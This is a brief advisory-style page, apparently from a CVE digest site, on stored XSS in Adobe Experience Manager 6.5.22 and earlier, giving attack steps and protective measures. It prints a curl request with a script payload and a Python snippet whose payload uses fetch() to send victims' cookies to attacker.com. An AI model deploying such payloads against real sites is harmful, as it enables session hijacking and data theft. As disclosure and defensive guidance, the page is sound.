Listen to this Post
How the CVE Works
CVE-2025-47008 is a stored XSS vulnerability in Adobe Experience Manager (AEM) versions 6.5.22 and earlier. A low-privileged attacker can inject malicious JavaScript into vulnerable form fields, which persists in the database. When a victim accesses a page containing the compromised field, the script executes in their browser. This allows session hijacking, defacement, or malware delivery. The flaw arises from insufficient input sanitization in form submissions, enabling script embedding in stored content.
DailyCVE Form
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/16/2025
Prediction: Patch by 07/15/2025
What Undercode Say
Analytics:
curl -X GET "https://aem-instance/vuln-endpoint" -H "Cookie: user-input=<script>alert(1)</script>"
import requests
payload = "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
requests.post("https://aem-form-submit", data={"field": payload})
Exploit:
1. Attacker submits malicious script via form.
2. Script saves to AEM database.
3. Victim loads page, script executes.
Protection from this CVE:
1. Update to AEM 6.5.23+.
2. Sanitize user inputs.
3. Implement CSP headers.
Impact:
- Session hijacking
- Data theft
- Site compromise
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
